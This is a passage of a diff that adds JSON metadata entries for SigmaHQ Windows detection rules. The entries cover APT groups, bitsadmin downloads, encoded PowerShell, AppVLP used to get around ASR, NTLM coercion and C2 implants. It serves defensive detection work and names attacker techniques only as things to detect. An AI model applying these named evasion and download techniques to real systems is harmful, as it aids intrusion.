+ "attack.t1059", + "attack.lateral_movement", + "attack.t1021.002", + "attack.discovery", + "attack.t1083", + "attack.t1135" + ], + "creation_date": "2017/11/07", + "filename": "proc_creation_win_apt_turla_commands_medium.yml", + "author": "Markus Neis", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects commands used by Turla group as reported by ESET in May 2020", + "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", + "value": "Turla Group Commands May 2020", + "meta": { + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1059.001", + "attack.t1053.005", + "attack.t1027" + ], + "creation_date": "2020/05/26", + "filename": "proc_creation_win_apt_turla_comrat_may20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", + "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", + "value": "UNC2452 Process Creation Patterns", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/01/22", + "filename": "proc_creation_win_apt_unc2452_cmds.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", + "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", + "value": "UNC2452 PowerShell Pattern", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.t1047" + ], + "creation_date": "2021/01/20", + "filename": "proc_creation_win_apt_unc2452_ps.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", + "uuid": "7453575c-a747-40b9-839b-125a0aae324b", + "value": "Unidentified Attacker November 2018", + "meta": { + "refs": [ + "https://twitter.com/DrunkBinary/status/1063075530180886529", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unidentified_nov_18.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011" + ], + "creation_date": "2018/11/20", + "filename": "proc_creation_win_apt_unidentified_nov_18.yml", + "author": "@41thexplorer, Microsoft Defender ATP", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", + "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", + "value": "Winnti Malware HK University Campaign", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.g0044" + ], + "creation_date": "2020/02/01", + "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", + "author": "Florian Roth, Markus Neis", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", + "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", + "value": "Winnti Pipemon Characteristics", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.g0044" + ], + "creation_date": "2020/07/30", + "filename": "proc_creation_win_apt_winnti_pipemon.yml", + "author": "Florian Roth, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate setups that use similar flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity mentioned in Operation Wocao report", + "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", + "value": "Operation Wocao Activity", + "meta": { + "refs": [ + "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", + "https://twitter.com/SBousseaden/status/1207671369963646976", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1036.004", + "attack.t1027", + "attack.execution", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2019/12/20", + "filename": "proc_creation_win_apt_wocao.yml", + "author": "Florian Roth, frack113", + "level": "high", + "falsepositive": [ + "Administrators that use checkadmin.exe tool to enumerate local administrators" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a ZxShell start by the called and well-known function name", + "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", + "value": "ZxShell Malware", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.defense_evasion", + "attack.t1218.011", + "attack.s0412", + "attack.g0001" + ], + "creation_date": "2017/07/20", + "filename": "proc_creation_win_apt_zxshell.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", + "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", + "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms", + "meta": { + "refs": [ + "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml" + ], + "tags": [ + "attack.t1204", + "attack.t1566.001", + "attack.execution", + "attack.initial_access" + ], + "creation_date": "2020/03/13", + "filename": "proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", + "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1", + "value": "Phishing Pattern ISO in Archive", + "meta": { + "refs": [ + "https://twitter.com/1ZRR4H/status/1534259727059787783", + "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_archiver_iso_phishing.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566" + ], + "creation_date": "2022/06/07", + "filename": "proc_creation_win_archiver_iso_phishing.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", + "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43", + "value": "Using AppVLP To Circumvent ASR File Path Rule", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_asr_bypass_via_appvlp_re.yml" + ], + "tags": [ + "attack.t1218", + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2020/03/13", + "filename": "proc_creation_win_asr_bypass_via_appvlp_re.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", + "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", + "value": "Atlassian Confluence CVE-2021-26084", + "meta": { + "refs": [ + "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", + "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", + "https://github.com/h3v0x/CVE-2021-26084_Confluence", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.execution", + "attack.t1190", + "attack.t1059" + ], + "creation_date": "2021/09/08", + "filename": "proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of attrib.exe to hide files from users.", + "uuid": "4281cb20-2994-4580-aa63-c8b86d019934", + "value": "Hiding Files with Attrib.exe", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_attrib_hiding_files.yml", + "author": "Sami Ruohonen", + "level": "low", + "falsepositive": [ + "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", + "Msiexec.exe hiding desktop.ini" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Marks a file as a system file using the attrib.exe utility", + "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b", + "value": "Set Windows System File with Attrib", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/02/04", + "filename": "proc_creation_win_attrib_system.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of attrib with \"+s\" option to set suspicious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to specific extensions and directories to avoid FP's", + "uuid": "efec536f-72e8-4656-8960-5e85d091345b", + "value": "Set Suspicious Files as System Files Using Attrib", + "meta": { + "refs": [ + "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", + "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_attrib_system_susp_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", + "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1", + "value": "Automated Collection Command Prompt", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119", + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2021/07/28", + "filename": "proc_creation_win_automated_collection.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", + "uuid": "a7c3d773-caef-227e-a7e7-c2f13c622329", + "value": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", + "https://www.cobaltstrike.com/help-opsec", + "https://twitter.com/CyberRaiju/status/1251492025678983169", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/10/23", + "filename": "proc_creation_win_bad_opsec_sacrificial_processes.yml", + "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", + "uuid": "fd6e2919-3936-40c9-99db-0aa922c356f7", + "value": "Malicious Base64 Encoded Powershell Invoke Cmdlets", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_invoke_susp_cmdlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/05/31", + "filename": "proc_creation_win_base64_invoke_susp_cmdlets.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded listing Win32_Shadowcopy", + "uuid": "47688f1b-9f51-4656-b013-3cc49a166a36", + "value": "Base64 Encoded Listing of Shadowcopy", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/03/01", + "filename": "proc_creation_win_base64_listing_shadowcopy.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded .NET reflective loading of Assembly", + "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59", + "value": "Base64 Encoded Reflective Assembly Load", + "meta": { + "refs": [ + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2022/03/01", + "filename": "proc_creation_win_base64_reflective_assembly_load.yml", + "author": "Christian Burkard, pH-T", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file", + "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", + "value": "Bitsadmin Download", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2017/03/09", + "filename": "proc_creation_win_bitsadmin_download.yml", + "author": "Michael Haag, FPT.EagleEye", + "level": "medium", + "falsepositive": [ + "Some legitimate apps use this, but limited." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", + "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c", + "value": "Bitsadmin Download from Suspicious Domain", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_domain.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Some legitimate apps use this, but limited." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", + "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200", + "value": "Bitsadmin Download File with Suspicious Extension", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_ext.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", + "uuid": "99c840f2-2012-46fd-9141-c761987550ef", + "value": "Bitsadmin Download File from IP", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_ip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", + "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac", + "value": "Bitsadmin Download to Suspicious Target Folder", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", + "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248", + "value": "Bitsadmin Download to Uncommon Target Folder", + "meta": { + "refs": [ + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", + "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197", + "attack.s0190", + "attack.t1036.003" + ], + "creation_date": "2022/06/28", + "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", + "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2", + "value": "Modification of Boot Configuration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", + "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_bootconf_mod.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", + "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", + "value": "Browser Started with Remote Debugging", + "meta": { + "refs": [ + "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", + "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browser_remote_debugging.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1185" + ], + "creation_date": "2022/07/27", + "filename": "proc_creation_win_browser_remote_debugging.yml", + "author": "pH-T, Nasreddine Bencherchali (update)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash", + "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea", + "value": "SquiblyTwo Execution", + "meta": { + "refs": [ + "https://subt0x11.blogspot.ch/2018/04/wmicexe-whitelisting-bypass-hacking.html", + "https://twitter.com/mattifestation/status/986280382042595328", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bypass_squiblytwo.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1047", + "attack.t1220", + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_bypass_squiblytwo.yml", + "author": "Markus Neis, Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", + "uuid": "42333b2c-b425-441c-b70e-99404a17170f", + "value": "Sliver C2 Implant Activity Pattern", + "meta": { + "refs": [ + "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c2_sliver.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/08/25", + "filename": "proc_creation_win_c2_sliver.yml", + "author": "Nasreddine Bencherchali, Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "F-Secure C3 produces DLLs with a default exported StartNodeRelay function.", + "uuid": "b18c9d4c-fac9-4708-bd06-dd5bfacf200f", + "value": "F-Secure C3 Load by Rundll32", + "meta": { + "refs": [ + "https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_c3_load_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/06/02", + "filename": "proc_creation_win_c3_load_by_rundll32.yml", + "author": "Alfie Champion (ajpc500)", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.", + "uuid": "242301bc-f92f-4476-8718-78004a6efd9f", + "value": "Suspicious Load DLL via CertOC.exe", + "meta": { + "refs": [ + "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2", + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/10/23", + "filename": "proc_creation_win_certoc_execution.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible NTLM coercion via certutil using the 'syncwithWU' flag", + "uuid": "6c6d9280-e6d0-4b9d-80ac-254701b64916", + "value": "NTLM Coercion Via Certutil.exe", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/issues/243", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_certutil_ntlm_coercion.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", + "uuid": "3d3aa6cd-6272-44d6-8afc-7e88dfef7061", + "value": "Change Default File Association", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.001/T1546.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_change_default_file_association.yml" + ], + "tags": [ + "attack.persistence", + 